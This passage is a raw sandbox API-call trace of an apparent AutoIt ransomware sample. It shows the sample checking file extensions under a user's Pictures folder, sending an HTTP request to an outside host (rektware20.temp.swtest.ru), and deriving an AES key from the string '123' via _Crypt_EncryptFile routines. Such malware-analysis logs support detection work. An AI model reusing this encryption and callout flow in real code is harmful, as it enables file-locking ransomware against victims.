dwCmpFlags=0x1, lpString1="ykb0U1\\bp5kHlYytl7wP\\COAFdivZkrsQAI.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.387] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="kb0U1\\bp5kHlYytl7wP\\COAFdivZkrsQAI.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.387] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="b0U1\\bp5kHlYytl7wP\\COAFdivZkrsQAI.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.387] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="0U1\\bp5kHlYytl7wP\\COAFdivZkrsQAI.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.387] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="U1\\bp5kHlYytl7wP\\COAFdivZkrsQAI.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.387] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="1\\bp5kHlYytl7wP\\COAFdivZkrsQAI.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.387] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\bp5kHlYytl7wP\\COAFdivZkrsQAI.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.387] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="bp5kHlYytl7wP\\COAFdivZkrsQAI.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.387] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="p5kHlYytl7wP\\COAFdivZkrsQAI.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.387] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="5kHlYytl7wP\\COAFdivZkrsQAI.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.387] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="kHlYytl7wP\\COAFdivZkrsQAI.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.388] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="HlYytl7wP\\COAFdivZkrsQAI.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.388] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="lYytl7wP\\COAFdivZkrsQAI.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.388] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Yytl7wP\\COAFdivZkrsQAI.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.388] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ytl7wP\\COAFdivZkrsQAI.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.388] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="tl7wP\\COAFdivZkrsQAI.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.388] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="l7wP\\COAFdivZkrsQAI.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.388] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="7wP\\COAFdivZkrsQAI.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.388] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="wP\\COAFdivZkrsQAI.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.388] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="P\\COAFdivZkrsQAI.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.388] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\COAFdivZkrsQAI.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.388] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="COAFdivZkrsQAI.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.388] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="OAFdivZkrsQAI.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.388] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="AFdivZkrsQAI.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.388] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="FdivZkrsQAI.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.388] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="divZkrsQAI.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.388] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ivZkrsQAI.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.388] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="vZkrsQAI.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.388] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ZkrsQAI.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.388] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="krsQAI.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.388] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="rsQAI.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.388] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="sQAI.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.388] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="QAI.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.388] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="AI.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.388] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="I.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.388] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 1 [0061.388] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.388] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0061.388] CharUpperBuffW (in: lpsz="CRYPT", cchLength=0x5 | out: lpsz="CRYPT") returned 0x5 [0061.388] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0061.389] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTFILE") returned 0x12 [0061.389] InternetCrackUrlW (in: lpszUrl="http://rektware20.temp.swtest.ru/test1.php", dwUrlLength=0x2a, dwFlags=0x0, lpUrlComponents=0x130edc8 | out: lpUrlComponents=0x130edc8) returned 1 [0061.389] InternetOpenW (lpszAgent="AutoIt", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0061.389] InternetSetOptionW (hInternet=0x0, dwOption=0x32, lpBuffer=0x130ee10, dwBufferLength=0x8) returned 1 [0061.389] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x0, lpdwBufferLength=0x130ee1c | out: lpBuffer=0x0, lpdwBufferLength=0x130ee1c) returned 0 [0061.389] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x1620eb0, lpdwBufferLength=0x130ee1c | out: lpBuffer=0x1620eb0, lpdwBufferLength=0x130ee1c) returned 1 [0061.389] InternetConnectW (hInternet=0xcc0004, lpszServerName="rektware20.temp.swtest.ru", nServerPort=0x50, lpszUserName="", lpszPassword="", dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0061.389] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb=0x0, lpszObjectName="/test1.php", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0061.389] HttpSendRequestW (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0 | out: lpOptional=0x0*) returned 1 [0061.390] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x130edd0, lpdwBufferLength=0x130edc8, lpdwIndex=0x130edcc*=0x0 | out: lpBuffer=0x130edd0*, lpdwBufferLength=0x130edc8*=0x4, lpdwIndex=0x130edcc*=0x0) returned 1 [0061.390] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x5, lpBuffer=0x130edec, lpdwBufferLength=0x130ee18, lpdwIndex=0x130ee1c*=0x0 | out: lpBuffer=0x130edec*, lpdwBufferLength=0x130ee18*=0x2, lpdwIndex=0x130ee1c*=0x1) returned 1 [0061.390] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0x130edcc, dwFlags=0x0, dwContext=0x0) returned 1 [0061.390] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629150, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130edd0 | out: lpBuffer=0x1629150*, lpdwNumberOfBytesRead=0x130edd0*=0x2) returned 1 [0061.390] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629360, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130edd0 | out: lpBuffer=0x1629360*, lpdwNumberOfBytesRead=0x130edd0*=0x0) returned 1 [0061.390] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0061.390] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0061.390] InternetCloseHandle (hInternet=0xcc0008) returned 0 [0061.390] CloseHandle (hObject=0x0) returned 0 [0061.390] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0061.391] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\bp5kHlYytl7wP\\COAFdivZkrsQAI.png", lpFindFileData=0x130ebb0 | out: lpFindFileData=0x130ebb0) returned 0x164cb30 [0061.391] FindClose (in: hFindFile=0x164cb30 | out: hFindFile=0x164cb30) returned 1 [0061.391] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0061.391] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0061.391] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0061.391] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0061.391] PeekMessageW (in: lpMsg=0x130eaec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eaec) returned 0 [0061.391] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0061.391] LoadLibraryW (lpLibFileName="Advapi32.dll") returned 0x74c60000 [0061.391] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0061.391] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0061.391] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLESET", cchLength=0x14 | out: lpsz="__CRYPT_DLLHANDLESET") returned 0x14 [0061.392] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0061.392] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0061.392] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0061.392] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0061.392] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0061.392] PeekMessageW (in: lpMsg=0x130e8bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e8bc) returned 0 [0061.392] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0061.392] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContext", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0061.392] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContext", cchWideChar=20, lpMultiByteStr=0x164df90, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptAcquireContext", lpUsedDefaultChar=0x0) returned 20 [0061.392] GetProcAddress (hModule=0x74c60000, lpProcName="CryptAcquireContext") returned 0x0 [0061.392] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContextA", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0061.392] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContextA", cchWideChar=21, lpMultiByteStr=0x164e030, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptAcquireContextA", lpUsedDefaultChar=0x0) returned 21 [0061.392] GetProcAddress (hModule=0x74c60000, lpProcName="CryptAcquireContextA") returned 0x74c80c00 [0061.393] CryptAcquireContextA (in: phProv=0x130e890, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x130e890*=0x17aa9a0) returned 1 [0061.393] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0061.393] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0061.393] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXTSET", cchLength=0x12 | out: lpsz="__CRYPT_CONTEXTSET") returned 0x12 [0061.393] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0061.393] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0061.394] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0061.394] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0061.394] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0061.394] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0061.394] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0061.394] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0061.394] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0061.394] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0061.394] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0061.394] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0061.394] CharUpperBuffW (in: lpsz="_CRYPT_DERIVEKEY", cchLength=0x10 | out: lpsz="_CRYPT_DERIVEKEY") returned 0x10 [0061.394] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.394] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.394] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0061.394] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0061.394] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0061.394] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0061.394] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0061.394] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0061.394] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0061.395] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0061.395] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0061.395] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0061.395] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.395] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.395] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0061.396] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0061.396] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0061.396] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0061.396] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0061.396] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptCreateHash", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0061.396] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptCreateHash", cchWideChar=16, lpMultiByteStr=0x1621528, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptCreateHash", lpUsedDefaultChar=0x0) returned 16 [0061.396] GetProcAddress (hModule=0x74c60000, lpProcName="CryptCreateHash") returned 0x74c7f930 [0061.396] CryptCreateHash (in: hProv=0x17aa9a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x130e600 | out: phHash=0x130e600) returned 1 [0061.396] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.396] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.396] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.396] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.396] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0061.397] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x1629510, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="123", lpUsedDefaultChar=0x0) returned 4 [0061.397] CharLowerBuffW (in: lpsz="byte[3]", cchLength=0x7 | out: lpsz="byte[3]") returned 0x7 [0061.397] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.397] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0061.397] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x16294e0, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="123", lpUsedDefaultChar=0x0) returned 4 [0061.397] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.397] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0061.397] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0061.397] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0061.397] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptHashData", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0061.397] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptHashData", cchWideChar=14, lpMultiByteStr=0x16217b0, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptHashData", lpUsedDefaultChar=0x0) returned 14 [0061.402] GetProcAddress (hModule=0x74c60000, lpProcName="CryptHashData") returned 0x74c7f950 [0061.402] CryptHashData (hHash=0x164c370, pbData=0x16294c0, dwDataLen=0x3, dwFlags=0x1) returned 1 [0061.402] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.402] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.402] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.402] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0061.403] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0061.403] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0061.403] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0061.403] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0061.403] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDeriveKey", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0061.403] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDeriveKey", cchWideChar=15, lpMultiByteStr=0x1621678, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDeriveKey", lpUsedDefaultChar=0x0) returned 15 [0061.403] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDeriveKey") returned 0x74c95b70 [0061.403] CryptDeriveKey (in: hProv=0x17aa9a0, Algid=0x6610, hBaseData=0x164c370, dwFlags=0x1, phKey=0x130e600 | out: phKey=0x130e600*=0x164c530) returned 1 [0061.403] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.403] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.403] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.403] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, 